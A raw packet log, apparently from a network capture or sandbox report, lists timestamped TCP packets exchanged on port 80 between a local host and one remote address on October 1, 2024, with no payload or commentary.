Oct 1, 2024 07:51:16.981700897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981739998 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981758118 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981796026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981806993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981831074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981842995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981901884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981913090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981923103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981931925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981934071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981945038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981954098 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981956005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981967926 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981985092 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.982002020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.982392073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982403994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982414961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982425928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982433081 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.982436895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982446909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982458115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982464075 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.982467890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982480049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982490063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982496023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.982501030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982512951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982517958 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.982522964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982534885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982539892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.982559919 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.982580900 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.982958078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982969046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982980013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982990026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.982995987 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.983006954 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.983042955 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.983163118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983174086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983185053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983195066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983200073 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.983206034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983216047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983226061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983227015 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.983237028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983244896 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.983268023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.983314991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983325958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983335018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983345985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983350992 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.983376980 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.983377934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983395100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983402967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.983405113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983417034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983427048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983438015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983439922 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.983449936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.983472109 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.983494043 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.984216928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984227896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984245062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984255075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984267950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.984285116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984288931 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.984296083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984306097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984316111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.984317064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984328032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984332085 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.984338999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984349966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984359026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.984359980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984370947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984381914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984392881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984400034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.984404087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984416008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984426022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984426975 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.984438896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984441996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.984448910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.984464884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.984503031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.985152960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985165119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985183954 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.985184908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985197067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985208035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985213995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.985218048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985229969 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.985235929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985246897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985256910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985256910 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.985268116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985272884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.985277891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985289097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985290051 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.985300064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985311985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985317945 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.985352039 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.985696077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985707045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985718966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985727072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.985738039 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.985754013 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.985776901 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069051027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069094896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069106102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069108009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069132090 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069140911 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069200039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069211960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069231033 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069247961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069297075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069308996 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069329977 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069348097 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069354057 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069400072 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069475889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069487095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069513083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069578886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069591045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069602013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069612980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069616079 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069623947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069649935 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069683075 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069782019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069807053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069818020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069818974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069860935 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069860935 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069935083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069946051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069961071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069972038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.069974899 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.069999933 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.070138931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070148945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070158958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070168018 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.070169926 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070187092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070197105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070198059 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.070208073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070218086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070225000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.070229053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070240021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070240974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.070296049 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.070557117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070569992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070590019 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.070616961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.070676088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070689917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070704937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070710897 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.070715904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070724964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.070727110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070739031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.070744991 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.070777893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.071028948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071044922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071055889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071065903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071067095 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.071077108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071086884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071098089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071098089 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.071132898 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.071289062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071299076 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071305990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071351051 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.071463108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071475029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071489096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071496964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.071499109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071510077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071520090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071527958 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.071531057 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071543932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071552992 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.071553946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071564913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071571112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.071576118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071587086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071594000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.071595907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071609020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.071621895 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.071644068 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.072280884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072299004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072309017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072319031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072319984 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.072331905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072336912 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.072343111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072352886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072362900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072365999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.072374105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072385073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072390079 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.072396040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072406054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072406054 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.072416067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072427034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072437048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072438002 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.072447062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072458982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072463036 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.072468996 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072477102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.072480917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.072504044 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.072526932 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.073004961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073015928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073045969 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.073189974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073201895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073211908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073224068 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.073226929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073239088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073242903 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.073249102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073259115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073268890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073271990 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.073280096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073292017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073292017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.073302984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073308945 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.073312998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073323011 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.073323965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073334932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073344946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073354006 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.073354959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.073380947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.073394060 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.074009895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.074021101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.074031115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.074042082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.074053049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.074053049 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.074063063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.074074030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.074085951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.074098110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.074101925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.074107885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.074120045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.074122906 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.074140072 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.074153900 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.157571077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157608986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157622099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157635927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157644033 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.157695055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.157706022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157717943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157728910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157742023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.157773018 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.157883883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157896042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157907963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157917976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157922029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.157928944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157939911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.157953978 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.157983065 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158075094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158107996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158175945 CEST	80	49732	45.200.148.113	192.168.2.4
